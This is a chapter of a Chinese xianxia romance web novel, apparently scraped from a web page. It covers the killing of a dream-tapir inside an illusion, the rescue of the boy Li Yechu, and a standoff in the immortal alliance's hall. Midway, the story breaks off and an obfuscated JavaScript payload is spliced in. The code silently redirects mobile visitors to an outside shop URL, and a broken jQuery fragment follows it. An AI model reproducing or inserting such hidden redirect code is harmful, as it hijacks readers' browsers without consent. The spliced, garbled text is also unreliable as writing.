“呃……呃啊啊!!”
疼痛后知后觉涌了上来,李叶雏惨叫出声,可还没等他回过神来,梦貘将他提至半空,无数鲜血喷涌而出!
“吼!!!”
品尝到了鲜血滋味,梦貘彻底陷入了狂暴!
温珏脸色苍白,看着空中那个身影陷入惊恐:“不对,不对,梦貘只会攻击活人才对,那个幻影……李叶雏真的还活着?!”
“不……不是的,”林希来喃喃道,“我们一直忘了,还有一个人也被拉进了幻境里。”
两人面面相觑,异口同声道:
“——连、青。”
没等他们继续探讨,剑鸣声便蜂拥而至,霎那间寒意扑满了他们周身。接着一束粗如立柱红光从远处飞来,瞬间贯穿天地,须臾就将梦貘击了个对穿!
梦貘吃痛松口,李叶雏便如同断了线的风筝一样从高空直直坠落,鲜血成线似的随他降落。他勉强恢复神智,手上却没有半分力气,只听得耳边狂风呼啸,席卷而来,如万千鬼哭。
从这么高的地方摔下去会死吧。李叶雏在混乱中忽然想到,不知道幻境里死去会不会影响现实,如果不会就好了。
这样连青的魂魄回来之时,至少身子没有受到任何影响。
他这头正胡思乱想着,忽然,一阵冷冽的檀香汹涌而来。
刹那间,一切都静了。
李叶雏感觉到自己被人揽入臂中,随即涌上一个温暖的怀抱,他埋头窝在冷香里,外界所有声音都被屏蔽了。
“没事了。”有人按住他的后脑勺,安抚地拍了拍:
“我在。”
底下传来急呼:“离鹤,小心身后!”
梦貘被鲜血激出邪性,见猎物被夺当即嘶吼一声,天地间遽然风云突变,如河水般宽广的闪电当空斩下!
但离鹤没有回头,唯有右手重重一抓,不平剑随之飞腾归位。他抱着李叶雏小心侧身,大乘期的威压轰地铺开,而不平剑凭空幻化出九九八十一道剑影,红光将梦貘团团围困,将整个空间都染成了血红色!
“天罗地网。”他轻声道。
嚓!唰!
薄刃穿皮入肉却不见滴血,少顷,凶兽发出凄厉悲鸣!
满目所见皆成了血红色,一时之间根本分不出究竟是血还是剑光,温珏和林希来被大能的剑意所压制跪在地上,控制不住地发起抖来。
那是一种来自魂魄深处的畏惧,是窥见天堑外时生理性的害怕。
过了好一会儿,直到不平剑的剑气缓缓消散,温珏和林希来这才缓过神抬起头来——
只见那梦貘此刻瘫软在地成了骨架,血肉堆成小山高,而不远处,离鹤浑身沾满腥液,宛如从地狱走出的妖魔。
可朝他怀中看去,昏厥的少年却干干净净,不染一丝脏污。
“梦貘死了,”温珏喃喃道,“他竟然只用了一招。”
但他飞快地反应过来,立马起身赶去,只见离鹤站在梦貘残骸前,伸手一抓,血肉中一颗深紫色妖丹缓缓飞出。
温珏试探问道:“仙尊,你可知道这‘李叶雏’的身份,或许是连家那……”
“我知道,”离鹤对他视而不见,“他是连青,被卷进幻境中成了李叶雏。”
那就好,说明多少还有点人性。温珏刚松了口气,就看见对方将妖丹放入了乾坤囊里。
一种说不清道不明的古怪感涌上他的心里,但还没等温珏细细挖掘,头顶轰然穿来一道清透光亮,紧接着天幕上绽开龟裂,瞬间密密麻麻布满了整个幻境。
离鹤率先动身,抱着人朝他们瞥去一眼:
“幻境破了,走吧。”
*
祭风殿中,仙盟众人被困了三日。
自从三日前周净放出了食梦兽,包括仙尊在内共有四人被卷入其中,当即就没了身影。
见他们消失,在场之人皆是一惊,戚时枫反应最快,当即挟太子和卷轴作威胁,而周净则以卷轴为把柄反制,现场竟就此成了对立局面。
戚时枫提剑架在太子咽喉,质问道:“你身为国师,看见太子有难,竟然一点也不紧张?”
周净面不改色:“卷轴就是你们最大的把柄。”
“快放开我!”太子叫嚣道,“不然我就用卷轴的力量,让这里其他人当场自刎!”
其余掌门倒吸一口冷气,须臾,有人颤颤巍巍地开了口:“戚掌门……不如大家先行放下剑来,什么都好商量……”
“是啊是啊,”不少人应和,“仙门和官家都是为了天下苍生,有什么可针锋相对的……是吧?”
殿内一时嘈杂不已,听得戚时枫心烦得很。他当即五指一抓,一座严丝合缝的铁笼当空罩下,将太子整个关进了里头,而最为惊人的是,铁笼地面倒插着数把长剑,正直直地对着太子!
“既然你我都无法动手,”戚时枫悠悠然坐下,挑衅似的看了眼周净,“那就等到仙尊从幻境中出来,再由他定夺如何处置吧。”
众人面面相觑,但也意识到这或许是眼下最好的方法,便暂且同意了。
可如今距离仙尊消失,已经过去了整整三日。
殿内不少人坐不住了,议论纷纷:“戚宫主,已经整整三日了,若仙尊迟迟不出现,我们也总不能一辈子等下去吧!”
“是啊,万一食梦兽编出的幻境极为凶险,仙尊在里头……总之,不能再等了!”
苍山派掌门更是提议道:“这几日下来想必各位也都冷静了,不如放了太子殿下,我们再细谈商议两方联手之事,也不是不可以!”
月启生拍桌大怒:“这怎么行!仙门若真受控于他人,还谈什么求仙问道,通通去皇家走狗得了!”
“月掌门怎么说话的!”“不知好歹,大望天子必不会如此待我们!”
殿内瞬间炸成了一团烟花,所有人都争先恐后抢着发言,生怕落了下乘。而周净端坐高台一言不发,像看笑话似的微微勾起嘴角。
啧。
戚时枫本来就烦,当场就要提剑发作。可就在他动身之时,殿中央的空地处却无端掀起一阵强风,而后凭空出现一条裂缝,倏地照亮了整座大殿!
在众人震惊的注视下,离鹤颀长的身影缓缓踏出,人们这才发现他怀中竟抱着一名昏迷的少年,正是被一同卷入的连家少爷。
而在他之后,温珏同林希来也陆续走了出来。
“仙尊!是仙尊回来了!”
“果然,区区食梦兽而已,自然不在仙尊话下!”
“还请仙尊为我们做主,当场处置皇室之人!”
离鹤对周遭的议论充耳不闻,腰间的不平剑却眨眼飞向了角落里的周净!
就当人们以为周净也会出剑对上时,他却只是虚虚挡了一下,小臂处的衣袖顿时被撕成了碎片!
“你是从哪里得来的那只梦貘?”他冷冷问道。
“这是天机,说不得。”周净捂住手臂的伤口,鲜血汨汨流出,他脸上露出一抹遐想的浅笑:
“仙尊,这份礼物是我专门送给你的……可还满意?”
离鹤眯起了眼睛。
月启生在他们之间来回转头,竟是一句也没听懂:“仙尊,如今各大门派的命运都在那副卷轴中,若是真为皇室所用恐怕来日仙门……还请仙尊助天下修士一臂之力!”
他躬身恳求,却久久没能得到答复,须臾,只听见一声长剑归鞘,周净手中的卷轴也一并飞了过去。
离鹤不再看他,转身下令道:“月掌门,卷轴暂且由你保管,这两人也一并交给仙盟处置。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926219|213537||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“我来保管卷轴?”月启生惶恐,“这万万不可……”
“你身为仙盟盟主,更应拿出魄力来。”离鹤人已走出大门,威声却响彻整座大殿,“然后叫个医师来,有人重伤。”
月启生忙不迭喊道:“是!”
殿内鸦雀无声,所有人大气不敢出,直到那道带着寒意的身影消失在了视野尽头。
李叶雏意识回笼时,第一反应是脸上痒痒的。
他下意识想伸手去摸,可怎么也抬不了胳膊,像是魂魄困在躯壳里旁观地感知一切。
耳边传来摩擦声,听起来有点像人走动时衣服发出的声音,可细听却又不见了,只剩下树叶沙沙摆动。
好无聊。
李叶雏依稀感觉到不远处有亮光,是整个黑暗世界里唯一的光源。虽然他现在动不了,但意识却很活跃,只好强烈地期盼着有点别的动静,好让自己别那么无聊。
这样的日子已经过了很多天,偌大的空间里只有他和另一人,可那人也总是沉默不语,从来不和他说说话。
“你的身体太虚弱了。”一道声音突然在他耳边炸起。
是师尊?原来在他边上不说话的人是师尊啊。
他迷迷糊糊想着自己应该是生病了,所以才一直躺在这儿,没法修行。
“我原以为能护住你的,”离鹤低声道,“但总让你受伤,对不起。”
我受伤了?
李叶雏这才感觉到自己的肩头确实隐隐作痛,但他还没回想起受伤的原因,一只手却忽然撬开了他的嘴唇。
随后一颗温热的圆珠抵上唇瓣,他压根没法反抗,便任由离鹤将珠子递进了嘴里!
唔……唔唔!!好烫!
那圆珠不知是何物,自从进嘴之后便一路往下,顺着咽喉、食管溜进了肚子里,随后呆在丹田的位置不动了。但那可是修士最重要的地方,万一有个损失可就完了……
果不其然,下一刻,丹田处便立马传来剧痛,李叶雏甚至感觉像是有只手在里头搅动一样,要硬生生将他的丹田给破了!
好痛。
他额上冒出大量冷汗,下意识就想抓住手边的东西,可身体动弹不得,唯有灵魂在躯壳里疯狂挣扎。
像是猜到了想法,一只微凉的大手握住了他。
“别怕,”离鹤轻轻抚平了他的眉头,“我在这里。”
……师尊。
李叶雏好想开口说话。
太痛了,我肚子里的到底有东西,我不想要……
渐渐的,一股暖流从丹田喷涌而出,很快就席卷了四肢。李叶雏一下就反应过来这是股格外强大的灵力,足以让他松开身上的桎梏——
“师尊!”
他猛地睁开眼睛,面前是层层叠叠的床帷,视野昏暗,依稀能辨别出旁边坐了一个熟悉的人影。
无需多想,他便认出来这是离鹤,当即就起身抱住了对方的胳膊:“师尊,我肚子好痛!”
对方身形一僵,李叶雏却根本毫无察觉,继续说了下去:“你刚才喂我吃了什么,丹田里好痛……”
哗啦。
一束亮光唰地打了进来,林希来声先人未至:“阿青,你醒了吗?我给你准备了……”
他一手支着床帷探进头来,登时愣在了原地:“啊,我好像来得不是时候呢。”
李叶雏同他大眼瞪小眼瞪了好一会,那颗生锈的脑袋才缓慢地转动了起来:
第一,李叶雏好像已经死了。
第二,我现在的身份似乎是连家庄小少爷,才没有什么师尊不师尊的。
他顺着林希来古怪的视线往下看去,只见里衣不知何时褪了一半,正松松垮垮地搭在臂弯处。而他就这样光着半边身子……
倚靠在离鹤身上。